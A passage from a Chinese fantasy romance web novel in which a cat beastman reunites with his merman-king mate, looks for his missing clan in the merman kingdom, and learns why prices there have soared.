没看见人的时候,白争争还没觉得烬离开是什么大事儿。但看到他那一瞬间,鼻子发酸,喉咙堵塞,话都哽咽了。 秋后退几步,被洋和寻接住。 “护卫长……”两个人鱼也眼睛发直。 还真是他们王啊! 可,那林猫不只是救了王,王留在那里报恩吗?怎么就忽然成了伴侣了! 烬被自己手下盯着,不耐扫过一眼。 秋几个当即低下头,飞快退了出去。 几人出了门,还木木呆呆。 烬在自己睡觉的卧房,房间里有一口连通海洋的大池子。也有铺着兽皮的床榻。 他坐靠在床上,一寸寸看着亚兽人。 见他不作声,只抱着他的尾巴,望着他啪嗒啪嗒默默掉金豆豆。 烬无奈又心疼,抬手给他擦眼泪。 “怎么找来了,我不是给你留了消息,没看?” 白争争吸了吸鼻子,感受着脸上指腹的温凉,忽然想到掉进海里的兽皮。 他紧了紧怀中的大尾巴,一脑袋栽进烬的颈窝,有些心虚。 “什么消息,没看见啊。” 不能承认是因为自己失手,扔海里不见了。 那样会显得他很蠢! 但他还是好奇。 白争争瓮声瓮气道:“你写了什么?” 烬觉得胸口有些硌,见亚兽人脖子上绑着线,勾了勾,带出他再熟悉不过的鳞片。 那是他走前留给亚兽人的。 他将鳞片取下,捏在手心,抱着亚兽人心里只剩满足。 “我写……我回来处理一下急事,处理完就回去。还问你要不要跟我一起来这里,要是来,就先慢慢准备东西。” 烬也不知道白争争为什么没看见,才认为是他跑了,千辛万苦找来。 但就算没看见,他不是还留了两个人鱼守在那边,等他回来。 想着,便也问了。 白争争却道:“那人鱼着急着离开,又不知道我们的关系。” 烬顺了顺他炸毛的头发,又道:“那幼崽总知道,我没跑,我会回去的。” 但他还是用下巴蹭了蹭亚兽人的额角,道了一句: “路上辛苦。” 白争争鼻尖又是一酸,瘪着嘴,比幼崽还可怜。 因为带着幼崽,一路上担惊受怕就没怎么好好休息过。又想起族人,白争争抱住烬,咬住唇静静地发泄着委屈。 从山洞到这里,他们风餐露宿,披星戴月地赶路。 整整四个月,白争争从来没走过这么远的路。 烬心里酸涩。 这么远的路,怎么来的。 想着,抓着亚兽人仔细检查。却发现他结痂的手臂,还有些紫的脖子。 而白争争攀着烬的肩膀,也摸到了凹凸不平的地方。 两个兽人同时直起身,盯着对方。 一个双眼含泪,一个眼神冷戾。 “受伤了?” “谁弄的!” 他俩盯着对方,异口同声,白争争憋了会儿,忍不住扑哧一笑。 那股委屈也散了。 他黏糊糊地撑着烬的肩膀,鼻尖挨着他鼻尖。 “我差点就死了……唔,疼!” 烬勒得太紧,白争争差点喘不过气。 他拍拍烬的胳膊,道:“等会儿再跟你细说,幼崽他们还在外面呢。” 烬:“我让兽人带他们去休息。” 白争争松开人鱼尾巴,滑下去,滑到一半,人鱼尾巴一卷,又将他捞回去。 白争争没来得及挣扎,就被烬抱了起来。 他被颠了颠,疑惑地勾着烬的脖子,圆溜溜的眼睛泛着水光,看着他。 烬:“瘦了。” 白争争:“没有的事。” 他俩一起从屋里出去,烬跟在白争争的身后。看着亚兽人白皙的后颈,又仿佛回到了在山洞那边的时候。 这会儿,幼崽们已经被秋带着去吃东西了。 有专门的吃饭的地儿,里头桌上摆着海鱼、鲜果、烤肉……应有尽有。 幼崽们吃得满嘴流油。 烬握住白争争的手,随他坐下。 旁边的秋见两人姿态亲密,恍恍惚惚道:“王。” 烬道:“去叫菱安排休息的房间。” “是。” 护卫长脚步虚浮地离开。 既然王“抛妻弃子”是真的,那现在亚兽人来了,他们的小人鱼王是不是也来了。 嘶……要不再回去看一眼。 刚刚好像没看清。 第52章 第 52 章 寻找 从春日走到夏季, 终于到了目的地。 兽人们本以为没多累,一放松,才觉身心疲惫。 幼崽们更是吃着吃着,脑袋往桌上一埋, 就睡了过去。 城堡的房间很多, 考虑到兽人们刚来, 又大部分是幼崽, 菱并未将他们分开。 白争争随着烬去到安排的屋子, 在门口看到了一个一头银发的亚兽人。 “这是菱, 有什么事我不在就找他。” 菱俯身行礼。 人鱼容貌都好, 菱更是优秀。他比烬矮上一些, 身姿修长,轮廓更柔和。 声音也好听,婉转轻灵,温温柔柔的。 不过怀中的幼崽睡着了,不便交谈, 白争争也只笑着点点头。 菱安排房间很大, 里面有水池、以及两张铺着雪白兽皮的床。 幼崽一放上去, 爪垫踩了踩,自发地挤在一起,不一会儿就打起了小呼噜。 白争争听着犯困,下意识额头抵着烬的胳膊磨了磨。 想起他后肩的伤,一个激灵,忙直起身,瞌睡都吓得飞走了。 兽人们都睡下,白争争被烬又带回他刚刚睡觉的房间。 “你的伤怎么回事?”才进去,白争争就迫不及待问。 烬道:“当时离开是因为外敌又入侵, 受了点小伤。倒是你……” 白争争立在原地,额头抵着烬胳膊,闭着眼睛直挺挺地将全身重量放在他身上。 “困……” 烬心软了。 “我想洗个澡,然后再好好睡一觉。” “好。” 大房子里有洗漱的地方,那布局,白争争熟悉得不行。 洗完澡,他随意擦了擦头发往床上一倒,腿还落在外面,就撑不住了。 也不知道烬这地方是不是喷了瞌睡药,一来就困得睁不开眼睛。 烬倒了水来,就见亚兽人光溜溜的,只腰间搭了兽皮毯子就睡了去。 他在旁边坐下,大手捏住亚兽人脚踝。 刚刚洗了热水澡,亚兽人浑身泛红,像熟了的山果子。白争争被他弄得痒痒,抽出脚丫子,一脚蹬在烬腰腹。 冰冰凉凉的,舒服得他另一只脚也踩上来。 随后扯了下卷在身上的兽皮,扯不动,索性皱着眉头睡去。 烬看着腹上,脚丫子白白嫩嫩的,不过脚背上遍布着很多细小的伤痕。 伤口早已经愈合了,只是些微白的痕迹。 烬松手,将他搂过来一些。又拿起兽皮给他吸了吸头上的水。 亚兽人睡得很熟。 烬不忍心打扰,只陪着他,满目专注。 林猫兽人在补觉,恨不能将这些日子没睡够的都补回来。 王宫里,亚兽人找上门来,“负心汉”是人鱼王的消息也已经传遍了。 秋想知道幼崽里有没有他们小人鱼王,可兽人都在睡觉,不好去打扰。 他忍得抓心挠肺,干脆闷头出去巡逻。 走到门口,菱立在那里望着海的方向。 秋吓了一跳,问:“你在这儿看什么?” 菱斜眼看人:“你说呢?” 秋哼声,手臂一抱,肌肉鼓起。“又在想你的小伴侣。” 菱浑身上下散发着伴侣不在的暴躁。 “你要没事儿,我跟王说一声。” “我关心你还不对!” “你这是关心。” 两兽人不怎么对付,说不了几句话就要针锋相对,秋与他错身一过,巡逻去。 之前听送他们王伴侣过来的人鱼说,他们在城中也遇到了林猫兽人,林猫好像有点异样。 他先去看一看。 * 人鱼王国中,也分部落而居。 细数起来,里面有大大小小上千部落。 云猫部落在其中算末流,部落位置在靠近王城的边缘地带。 之前撞了白争争的小亚兽人抱着草药,匆匆回到家中。 他们居住的地方建筑并不密集,也不像入口那条街兽人往来众多。 这边僻静,往远处是属于王国的大片土地,都是被开垦出来,种植植物。 云猫部落负责为人鱼种植粮食,看管土地。 绘是亚兽人,不过十岁出头,还是个幼崽。 他绕过原路,从林间的小道到了家中。那是一座座被土地包围的石头房子。 绘悄悄走到最深处的那一座,绕到后墙,蹲在一个长满草的小洞外。 他先将东西塞进去,然后变做个巴掌大的小林猫,钻入洞中。 大房子也有围墙,里面居住的是林猫部落的族长。 绘悄悄避开族长的屋子,深入后头,钻进了一个又矮又小的屋子里。 “阿爸。”幼崽声音里夹着欢喜。 房间不过几平,放下一张床就没有落脚的位置。 里面漆黑。 绘将门关了,点燃墙壁上的灯油,才清晰了起来。 干草做的床上躺着个亚兽人,形销骨立,圆润的眼睛充满了枯槁之气。虽瘦得不成样,但也不难看出的轮廓是极为优越的。 他伸手探来,眼睛无神,原是看不见的。 绘听到他咳嗽,将他轻轻搀扶起来。 亚兽人闻到了草药味,轻声道:“又出去了。” “嗯。”绘将脑袋压得低低的。 “阿爸不需要草药,以后别……” “阿爸,我在外面看到林猫兽人了。”绘不想听自己阿爸说什么不要草药,活不了多久的话。他急于打断他,便说起林猫。 亚兽人道:“又来了林猫。” “对,还有很多幼崽。” 亚兽人是林猫,来到王国后一直想回去,后来瞎了眼,跑了几次也跑不掉,便慢慢放弃了。 绘为了让他高兴些,常说些林猫来了的事情哄他。 果不其然,亚兽人脸上露出几分笑来。 绘道:“领头的林猫很好,他跟着人鱼一起来的,我撞了他,他都没有凶我。” 亚兽人轻轻道:“嗯。” “小崽子,跑哪儿去了!还不快点出来,想饿死我!”凶狠的声音传来,绘肩膀轻颤。 亚兽人摸着他肩膀,试图站起来。绘将他的手一按,不让他动,飞快将草药藏在干草底下。 他轻轻颤抖着,“阿爸,我出去。你、你好好休息。” 绘跑了出去,亚兽人不放心,追了几步忽然听到绘的闷哼。一着急,撞在门口,摔在地上。 “绘……” 小亚兽人抱着头,咬唇不吭声。 等到兽人打够了,才抹了把眼泪,一瘸一拐地将自己阿爸搀扶起来。 亚兽人摸着他的手,将幼崽抱住。 声音艰涩:“他又打你了。” “没有。” “你骗不了阿爸。”亚兽人抚摸着小兽人的脸,看不见的眼里溢满了悲伤。 那是他的阿父啊。 怎么能下得去手呢。 * 入了夜,人鱼王国里安静下来。 林猫兽人们从白日睡到晚上,菱已经让兽人准备好了晚饭,只等他们起来。 卧房内,幼崽们睡得四仰八叉,鼾声不断。 烬这边,白争争也趴在他身上,小腿被人鱼尾巴卷着,埋在他颈窝睡得香甜。 菱拿不定主意,只晃过门口。 烬察觉,将亚兽人从颈窝捞出来,捏了捏脸。 “起了。” 手下皮肤不比以前细嫩,但白里透红,软乎乎的绒毛依稀可见。 捏一下,落下个浅淡的手指印。 白争争哼哼唧唧,还沉浸在梦中,低头又将自己藏起来。 烬起身,隔着窗,能看见天空高悬的明月。 再睡下去,晚上不用睡了。 他鱼尾变做腿,绑上兽皮,将白争争从里侧捞出来。 白争争睡得手软筋麻,挂在烬身上,额角微微溢出些汗珠。 天气热,只靠着烬身上才格外舒服。 “饿不饿?” 烬摸了下白争争后颈,贴在手背的黑发已经长到背上,油灯下泛着光。 “不唔。”白争争喉咙也像被黏在一块儿。 睡太久了,手脚像被绑住,眼皮都睁不开。 烬抱着亚兽人出去,路过幼崽们睡的房间门口,直接道:“年,叫幼崽吃饭。” 年滚了滚,慢吞吞爬起来,半眯着眼睛困顿地点脑袋。 “知道了。” 晚餐摆放好了。 有白争争心心念念的米饭,麦饼,还有些海鲜、兽肉。 烬坐下,将白争争放在旁边。 白争争靠着椅背缓了缓,捞过烬的手臂抱着,凉凉的,忍不住用脸贴蹭。 过了会儿,这睡意才算散去。 幼崽陆陆续续过来,也才睡醒,点着脑袋一个抓着一个的尾巴,进来后自己找地方坐。 来时那顿饭吃得匆忙,急着填饱肚子,啥滋味儿没吃出来。 这会儿一大碗米饭放在眼前,白争争干吃都能吃上两碗。 又香又甜,配上点下饭的菜就更好了。 或许是调料匮乏,人鱼王国的食物也跟他们吃的差不多。只食材种类丰富些,瓜果蔬菜一顿俱全。 白争争干了两碗米饭,啃完香甜多汁的果子,才下了桌。 幼崽个个吃得肚儿圆,打着饱嗝下了桌。 白争争以为幼崽肯定对这房子好奇,准是要出去看看,结果幼崽就气势汹汹将烬给围了。 白争争上前一步,挡在烬身前。低头问:“要打架?” 烬唇角扬起,拉着白争争站到自己身边,看着幼崽道:“打架不行,其他可以。” 雁仰头道:“你跟我们回去吗?” “嗯?”白争争疑惑。 他什么时候说了找到烬要将他带回去。 雁戳了戳白争争手,“你别说话。” 白争争扬眉。 行,他不说。 “你说。”幼崽都看向烬。 烬:“现在回不了,你们多住几年,我忙完了就跟你们走。” “几年!” 烬:“几十年也可以。” 芽道:“可我们还要找族人!” 白争争笑容微敛,揉了揉幼崽头发。一手一个脑瓜子,按着他们转身,示意清带出去走走。 烬与白争争落后一步,知晓他多半有话说。 “我来,是因为听到了我哥在人鱼王国的消息。” 烬扣住白争争的手,“嗯”了声。 白争争诧异。 他望着烬侧脸,“我以为你至少要伤心一下。” 烬:“那我现在伤心?” 白争争扑哧一笑,往烬身上倚。 烬道:“我知道你不是冲动的兽人,能带着幼崽来这里肯定是有什么重要的事。想一想,只能事关你的族人了。” 白争争:“那我也是来找你。” 烬:“顺带的。” 白争争后退着去看他的眼睛,并未看到恼意或者委屈。 一如既往的镇定。 白争争下巴蹭了蹭他的肩膀,低低道:“一半一半,也不算顺带。” 烬捏了捏他的手,让他好好走路。 “族人的事,跟我说说。” 白争争道:“你走之前,我不是去了黑羊部落交换。结果听他们的兽人说,他们在这里遇到了一个跟我哥长得很像的兽人帮了他们。” 说着忽然感觉一道视线落在自己身上,白争争看去,是银发人鱼菱。 他立在城堡前的高台上,冲着白争争浅笑。 白争争颔首,回以一笑。 烬扫过一眼,揉了揉亚兽人的头发,牵着他离开城堡前,往西边绕行。 “你哥长什么样?” “白发,手上戴着我做的贝壳手链。与我有五分相似,不过眼睛像狐狸兽人。冷冷的,不怎么喜欢说话……我可以将他画下来,烬,你帮我找一下好吗?” 白争争挂着烬的手臂,巴巴看着他,眼睛像月下的湖水一样动人。 烬:“好。” 白争争踮脚,一下亲在他脸上。 前头的幼崽往后看,后头的人鱼护卫往前踮脚瞧。烬只觉得脸上温软,愣了下。 看着亚兽人极亮的眼睛,一瞬间,想将自己伴侣抱起来转个几圈。 不过王定力极好,飞快调整,若无其事地扫过后头的人鱼,牵着白争争继续散步。 后头的人鱼定在原地,直挺挺的,面上严肃又恭敬。 不过等烬走远了,立即兴奋地笑起来。 白争争与烬在一起时间不算长,虽同床共枕,但纯洁得不行。亲吻好像也很少。 他露出些傻笑来。 脸也凉凉的,还软。 他自己的伴侣,不亲谁亲? 月色下,白争争红着脸也看不出来。他只盯着脚下两人并排的影子,飞快用手背蹭了下过于发烫的脸。 烬眼色深了深,捏着亚兽人手心的软肉,缓缓摩挲,面上毫无异样。 “今天你们来的时候遇到个林猫?” 说起这事儿,白争争心里的躁动也沉寂下来。“对,是个林猫幼崽,但不是我们部落的。” 他看向烬:“你不是说人鱼王国里没有林猫吗?但我看那小兽人对这里很熟悉,不像是才来的。” 烬道:“我确实没有见过。” “王国里猫族不少,小型猫族只有云猫部落。他们住在王城最外边,看守着田地,轻易也不来这边。那小兽人,我让人鱼查一查。” 白争争:“好。” 这环洲这么大,林猫部落不止一个。 白争争他们的只是一个小部落,兴许那个林猫是有银币,悄悄跟着长辈才搬进来的。 能在王国里遇见同类,也是一件令人高兴的事。 烬:“路上的事,跟我说说?” 白争争:“就是赶路,有什么好说的。” 烬捏了捏他的脸,这会儿已经走到城堡侧面临近的海边。黑灯瞎火的,幼崽被领着逛去了,后头的人鱼也没跟上来。 只有他俩在礁石上听着海潮的声音。 烬双臂搂住亚兽人的后腰,额头与他相抵。他凝视着有些躲闪的圆眼睛,声音低而沉:“我想听。” 白争争长睫乱颤。 鼻尖全是烬的气息。 像大海将小小的林猫包裹,逃不开,侵入呼吸。 他抿住有些干燥的唇,脑袋稍稍往后仰。试图胡搅蛮缠:“说了你又要生气。” “那更要听。”烬大手拢着他后脑袋,将他带回。 白争争像晒干的鱼干儿,直挺挺的与他相抗,最后还是自己先撑不住,软了身子往烬肩膀上一趴。 “行吧,我说了你可别生气。” “不保证。” 白争争眼里落下笑意,藏起来的委屈尽散。 他确实怀揣着一腔委屈想跟烬说,但见到人时,又不想让他跟着一起懊恼生气。 他只是想要伴侣看见自己,关注自己。 但这件事情舒缓白争争拗不过烬。 他就着这趴着的姿势,从黑羊部落说起。说他们去冰原吃了好吃的果子,黑羊族长给了他们地图,又过海,被追捕,一直到达王国。 这一路几个月,细讲能讲一晚上。 偏偏烬听不得他粗略一带。 察觉到他有所隐瞒或省略处,都要掐一下腰,痒得白争争笑着直躲,还挣扎不开。 几次之后,他笑都笑累了,最后气喘吁吁,只得老实了。 海风温柔,吹散白日的躁意。 白争争脚都站累了,嗓子冒烟,才堪堪说完。最后干脆拍了拍烬的肩膀,路都不想走了。 他本意是回去了,但不想走,让烬背一下。 但烬却抱幼崽一样将他抱坐在手臂上,还是单手。白争争勾住他脖子,一脚踩在他结实的大腿上。 烬另一只手握住他脚踝,轻轻摩挲。 “我雕的猫呢?” 白争争:“扔了。” 烬没说什么,带着他回程。 白争争调整了下姿势,挂在他身上,咕哝:“没扔,我放得好好地。” 烬:“我知道。” 鳞片都那么宝贝地戴在脖子上,那与他相像的木猫怎么舍得扔。 白争争补了一下午的觉,这会儿又蔫了。 他也不管遇到的人鱼们怎么看,只要他看不见就可以当做什么都不知道。 幼崽已经回去,这会儿洗干净后在准备睡觉。 白争争手指摸着烬肩上的伤疤,问:“王国的事情处理完了吗?” 烬:“没有。” 白争争:“我们来时,犬族的祭司还在说第二环岛的事儿呢。他说人鱼族不管,那边才会那么乱。” 烬:“海上的那一支人鱼不消停,依旧时不时来扰。王城里看着安稳,但海上却从来没有安宁。这几年,人鱼死了不少,守卫人鱼王国都已经吃力。” 白争争:“会不会有事?” 烬笃定:“不会。再等等,应该快好了……” 这一晚,两人说了很多话。 像是要将之前不知道的全都了解清楚。 白争争是在聊天中睡去的。 连梦中都还在跟烬说话。这就导致早上起来,他嗓子泛哑,疲惫得很。 早饭过后,烬要处理王国里的事务。 找林猫的事情,他已经安排了人鱼去。白争争也闲不住,问了烬之后,也跟着去了。 早晨的王城里,处处弥漫着食物的味道。 走过一圈,临近城堡这边是最热闹的交易场所。其他地方各部落居住,稍微安静一些。 不过阿吉说的看见他哥的位置并不在这里,而在北部的偏地。 白争争跟着人鱼一路问过去,越走兽人越少,最后只见到分散开来的低矮房子。 比起王城中心那些大部落,这房子建造水平明显差了些。草棚做顶,木头支撑,墙角还生着不少杂草。 白争争正想要挨家挨户敲门问问,刚走几步,却见地上洒落了不少稻子。 长长的一条,从墙角往外延伸。 显然是人家搬运的时候撒地上的。 “这个季节正是收稻的时候。”蓝色人鱼洋道。 寻道:“我去前头看看,不知哪个部落运的,这样丢得丢多少。” 寻离开,白争争便敲门问。 那屋里的兽人开门出来,见是人鱼,有些害怕地往门后躲,只露出半张脸来。 白争争道:“你别怕,我们来是想问问你有没有见过一个兽人。” 白争争将今早赶出来的画摊开给兽人看。 兽人瞧过,畏惧地摇了摇头。 “没见过这个兽人。” “你仔细想想。”洋道。 兽人一哆嗦,老实道:“白发兽人本来就明显,真没有见过。” 白争争眼里藏不住失落。 他们离开这家,洋道:“他家没看见,总有别家兽人见过。” 说话间,寻拎着一袋稻回来。 他道:“定是哪个不缺食物的部落,兽皮上就破了个口子,稻没了一半,剩下的一半随便扔在草丛里。” 洋:“查一查是哪个部落,跟王说一声。” 王城里各个部落相安无事,都是因为有兽人考察记录他们的作为。像做了坏事的,累积多了直接赶出王城去。 浪费食物算重大错误。 换了几家,无一例外都说没见过。白争争如同被泼了一盆冷水,心里的期待顿时散了一半。 怎么会没有呢。 听黑羊部落兽人的描述,十之八九那个兽人就是哥哥。 白争争又一想,哥哥他们是被抓走的,很有可能在躲那坏兽人,问不出来也是正常。 白争争打起精神继续找。 可一天之后,依旧没有消息。 白争争回到城堡,见幼崽们在池子里扑腾着水花。 清几个急切看来,白争争轻轻摇头。 幼崽们看不见成年兽人的眼神官司,还不高兴地问白争争:“争争,你扔下我们自己去玩儿了!” 白争争蹲在水池边,抹了一把幼崽湿润的毛毛,见毛发压得塌塌的,丑兮兮。 他眉间的疲惫藏不住,还是笑着,轻声道:“少在水里泡。” 幼崽道:“我们才下来!不信你问清清!” 白争争:“那我好好问问。” 他示意清跟年出来,离幼崽住的屋子远一些,才放松了靠在墙上,垂着眼道:“没找到,一点消息都没有。族人的事你们先不要跟幼崽透露。” “还没说呢。”清道。 千里的路他都过来了,还怕这一城之内找不到。 白争争安抚两个兽人道:“没关系,应该能找到。” 第53章 第 53 章 亲昵 幼崽刚来, 对王国各处都好奇。 白争争知道幼崽聪明,尤其是雁那个鬼机灵。 太频繁出去会让他们怀疑,第二天,白争争干脆带着幼崽出去逛一逛。 想着他万一足够幸运, 能再碰见个林猫就是自己的族人呢? 清早, 入城的那一条街上人声鼎沸。 王国内外的兽人像赶集一样, 在街两旁铺着兽皮, 上面摆起各种小玩意儿。 有卖贝壳海螺, 珍珠水晶, 颜色绚丽的羽毛这些装饰品的。也有售卖兽皮、兽肉, 盐之类的食物或调料, 还有卖能饲养的小兽、草药等等。 林猫幼崽没逛过兽人集市。 这会儿走一个摊位停一个摊。 白争争几个一穷二白,还是揣着烬给的一兜子银币,在集市上采买。 清看了两眼,也蹲到人家卖兽皮的摊位上去。 “兽皮几个银币?” 卖兽皮的是个健壮的雄兽人,头上两个有虎耳, 耳朵上两戳白毛像眼睛一样。 他看着都几十岁的成年雄兽人了, 但开口声音却稚嫩。 “大兽皮一百个银币, 小兽皮七十个银币。” 白争争闻言都看过去。 兽皮这么值钱? 又问了几个毯子,虎兽人这里卖的居然是最便宜的。有的兽皮质量还不如他的,都能喊价到一百五十个银币。 清当即道:“争争,咱还欠着龟鸣银币呢,要不我把雪狐给的那几张兽皮拿出来卖一卖?” 清仔细瞧了,集市上售卖的兽皮质量参差不齐,他们那种算很好的了。 白争争:“去吧。” 清带上州离开,这里一眼能看见城堡,一来一回不过一会儿的事。 清拿回来兽皮后, 就在街边摆起了摊儿。 幼崽觉得好玩儿,也跟着清坐在摊位后头,左右观察一下,然后学着兽人们张嘴吆喝: “来哦来哦,兽皮哦。漂亮的大兽皮!” 乖巧的幼崽不管在哪儿都受欢迎,稚嫩的声音夹杂在成年兽人们的声音中,几下吸引了兽人。 雪狐部落给了十二张兽皮,他们留下两张给了黑羊部落,五张给了犬族部落,手头上就剩下五张。 清参考了其他摊位的价格,定价一百三十个银币。 兽人们一听他报价,当即跟看傻子一样看他。 清还没明白过来,幼崽就收了银币,摊上的兽皮连带垫着的旧兽皮都被打包拿走了。 清:“没了。” 幼崽笑嘻嘻地抱着银币,小财迷似的又拉不动,还撅着屁股使劲儿往清的手上送。 “清清,够不够?” 清当即拿过来,点了一番,没差,还多了几个。 兽皮这么能挣,他大手一挥,干脆带上幼崽就去消费。 白争争跟风几个已然带着其他幼崽回来。 清见他们脸色不对,问:“怎么了?” 风眉头紧得能夹死蚊子,“这些东西也太贵了。” 白争争道:“贝壳那些装饰品,一个就是五十个银币。肉干两百银币一小袋,还没一条十斤的鱼重。” 且不只是这些价格高,像能做农具的兽骨,草药,果子……一堆起价就是五十银币。 幼崽想要的那个贝壳项链,挂了珍珠的,一串五百银币! 怎么不直接抢呢。 清还在为刚刚赚了银币高兴呢,想着六百多个银币能买不少东西。 结果怕是十几个幼崽的一顿食物都买不到。 怪不得外面那些兽人要囤银币。 龟鸣收他们一个兽人一块儿银币,还算少的了。 可即便这样,王城里的兽人也好像买得起。 看那些一个兽皮袋一个兽皮袋地买食物,买兽皮的兽人们,都是不缺钱的。 清看得一愣一愣的。 “争争,咱们是不是也找个挣银币的法子?” 他们要找族人,不知道还要在这里待多久。 现在吃的用的都是烬给提供的,但兽人们难免有想交换的东西,总不能都用烬的。 那样说不过去。 白争争道:“那大家一起想想法子。” 后半程,清留出给龟鸣的银币,还多留了一倍。其余的都给幼崽,让他们自己买自己喜欢的。 白争争边走边看,街上兽人来来往往,大包小包的背着东西。 外头兽人运进来货物,换取的银币都是用兽皮扛着走。 这通胀是不是有些太严重了。 走着走着,后头传来争吵声。白争争拉着幼崽,转头就见吵起来的兽人们已经互相开打了。 兽人好斗,一言不合就能动手。 他们旁边还倒着两兽皮袋的鱼干,都是些巴掌大的小鱼。 “我先给银币!” “我先问,都说好多少个银币了你来抢!你找打!” 兽人们打架就是拳拳到肉,那肌肉鼓起,一身腱子肉。互相打在对方身上,跟有仇似,砰砰作响。 人群有瞬间的嘈杂,大家一脸兴味围观。 只有白争争几个小心护着幼崽,不敢乱动。 兽人还在起哄,高喊着: “打鼻子,打鼻子!” “踢腿!绞他!” “用力,用力!” 白争争看两个兽人是真的打红了眼睛,再不制止难保不出问题。 他左右看看,见一队人鱼归来,抓着两个兽人左右手一拎,就这么轻轻松松地将两个兽人分开。 人鱼一到,起哄的兽人顿时隐入兽人中,四处逃窜。 但没跑多远,被人鱼逮住,连同刚刚那两个打架的一起押走。 幼崽左右抱着白争争的腿,仰头道:“人鱼厉害。” 白争争摸了摸幼崽的小脑袋。 “嗯,咱们也回去吧。” 那地上的鱼干被摊住收拾好了,顿时又有兽人上来,抢似的买走。 摊主得了银币,喜气洋洋,仿佛刚刚那事儿没发生,往城外去了。 白争争似有所觉,四处观看。 却发现就这么一会儿,那些卖食物的兽人早已经收拾好东西收摊了。 食物是卖得最快的。 兽人们带着幼崽回城堡,清道:“争争,这里面食物好像不够的样子。” 外面的兽人说王国里的兽人不愁吃喝,可那巴掌大点儿的鱼都要抢,也不见得不愁。 那鱼他们在海上捞过,刺儿极多,味道也就一般。 比不过他们之前在小岛上捕的。 白争争道:“兴许是住在这里的兽人太多了。” 周围的山林被开垦为土地,种粮食,主食成了紫皮根。野兽这些捕捉不到,价贵些正常。 白争争只是揣测,还得问了烬才知道。 * “确实,野兽不够吃,饿死不少兽人,王国才开始发展种植。”烬握住自己伴侣的手腕,看他懒猫一样趴进怀里,目光低垂,视线柔和了几分。 白争争:“外面那些兽人眼中的人鱼王国都是他们的想象了?” 烬道:“不全是。” 烬想他多了解人鱼王国,就道:“带你去个地方。” 白争争点点头,被烬拉起来就走。 还是昨天晚上的那片海域,烬跳下水,海中暗红近黑的大尾巴在海面浮动。 白争争脱了鞋,光着脚轻轻踩了踩他尾巴尖。随后张开双笔直接冲他扑过去。 烬稳稳接住,说:“海边礁石多,别跳。” 白争争腿盘在他腰上,抱住他脖子。肩膀上刚刚溅落的水珠滚下,肌肤比珍珠还润。 “远不远?” “很快。” 自城堡后的海边出发,绕过城堡后的高山,沿海继续往北游,随后远远见到还是一座孤岛。 白争争腿挂着累了,干脆坐在烬手臂。黑发湿润披在后背,懒懒抬眼。 “这里有什么?” 烬道:“跟外面兽人们想象中的人鱼王国有关。” “上去看看?”白争争道。 烬往后一仰,带着坐在尾巴上的白争争后退。“不去。” 白争争盯着那六块腹肌,爪子动了动,吧唧两手贴上去。 “为什么?”他捏了捏,软软弹弹。 烬见亚兽人低头摸得起劲儿,捏住那爪子,尾巴一仰,白争争就扑倒下来,脑袋落在胸口。 烬:“那些是尸骨。” 白争争撑起的手一顿,八爪鱼一样,四肢紧紧缠住烬。 “谁的骨头?” “人鱼的、其他兽人的,都有。”烬摸摸亚兽人湿了的一头黑发,后退着摆尾,徐徐离开。 白争争远望着那小岛。 “一岛都是?” “一岛都是。” 那岛中有山,若用尸骨堆砌,不知多少万具。白争争胆寒,凉飕飕地往烬身上贴。 烬抱住自己伴侣,加速离开小岛,绕行到城堡后山处的海面才缓缓说起人鱼王国的事。 “多年前,这里植被茂密,野兽泛滥,时常出现野兽进入部落攻击兽人的情况。海中鱼也多,食物非常充足。” 那时候人鱼族繁衍很快,只族人就有上万。 人鱼祖先们采集、捕猎,安居乐业。这高高的城墙里处处都是人鱼的身影,是真正意义上的人鱼王国。 但后来,族中出现分歧。 人鱼因谁掌管这里而斗争起来,最终被驱赶出去几支。他们又与外面的人鱼族融合,最终在南部大岛上建立起新的人鱼王国。 之后便是斗争、抢夺,两边开战。大量人鱼族死在海中,人鱼一族自此凋零。 烬下巴落在白争争肩上,滑溜溜的,忍不住贴着嗅一嗅伴侣身上的淡淡香气。 他道:“你现在看到的王国里的那些兽人,都是后头搬进来的。他们的祖先忠诚于人鱼一族,也在护卫王国中丧生了不少。” “那岛上除了他们,也有不少饿死的兽人。” 战争消耗兽人,消耗食物,当时王国里并没种植,吃的都是山林间抓的动物。 久而久之,也就抓绝种了。 白争争:“可是已经过了这么多年,种了那么多粮食,兽人们带一兜银币来,却只能买根大棒骨。这又怎么说?” 烬拨开他颈侧的黑发,梳理了几下,又缠绕在指尖,弄得发尾打了个卷儿。 他还以为他的伴侣不会关注这些方面呢。 白争争侧头,“快说。” 烬叹息:“因为有坏兽人在捣鬼。” “谁……”白争争灵光一闪,“不会是那个盗版人鱼王国吧。” 烬听他又蹦出个新词儿,没听过,但能理解。他道:“是。那边正在挖银矿。” “挖了矿炼了银币送到这里来?” “嗯。在王国里生活的部落大多数东西都需要用银币交换,他们这样做,是想让兽人们在这里活不下去,最后离开王国吧。” 白争争:“阴险。” 烬看着亚兽人鼓起来的侧脸,沾了水的手轻轻戳了戳。白争争噗的一声,漏气儿了。 他张嘴咬住烬的手指,磨了磨痒痒的犬牙。 “那你怎么不动手,灭了他们。” 烬弯指,指腹滑过尖牙。 白争争一下收口,怕他受伤。 烬徐徐在海上飘,白争争跟坐船一样,还不晕船。 烬:“人鱼一族已经元气大伤,那边是些不要命的疯子,一时间根除不了。不过已经在处理了,之前想着这事解决了就来找你。” 白争争:“还好你没来。” 他两个爪子摸上烬的耳朵,揉了揉,发现触感也好,忍不住摸上了瘾。 摸着摸着,他有些懊丧。 “我们是来找族人的,可昨天一点消息都没打听到。” 烬:“不着急,只要在这里就找得到。” “嗯。”白争争趴下去。 烬正好偏头,唇瓣交错,白争争下意识抿唇,直接将烬含住。 烬一怔,尾巴都忘了摆动。 白争争瞪大眼睛。 烬看着他,眼里藏起来的攻击性散出来,寸寸掠过亚兽人的脸,继续轻轻摆尾。 白争争猛地撑着他胸口,身子一挺。 烬喉结动了动。 他尾巴沉下,白争争跟滑滑梯似的,坐着烬的尾巴往海里滑。 没了依托,白争争急急忙忙攀住烬的脖子,双腿架上去。像投怀送抱一样。 烬在他耳边道:“屏气。” 他缓缓地,带着白争争沉入海中。 头顶没入水中的瞬间,烬鱼尾一卷,紧紧缠绕亚兽人的小腿。他低头,轻轻吻了上去。 像小鱼轻轻碰触,带着试探。 白争争手指猛然握成拳。身体战栗一瞬,却在烬退开时,张嘴咬了上去。 张牙舞爪,正符合他的脾气。 白争争恍惚听到耳边低低的一笑。 烬带着他破水而出。 白争争攀着烬肩膀,半眯着眼睛。 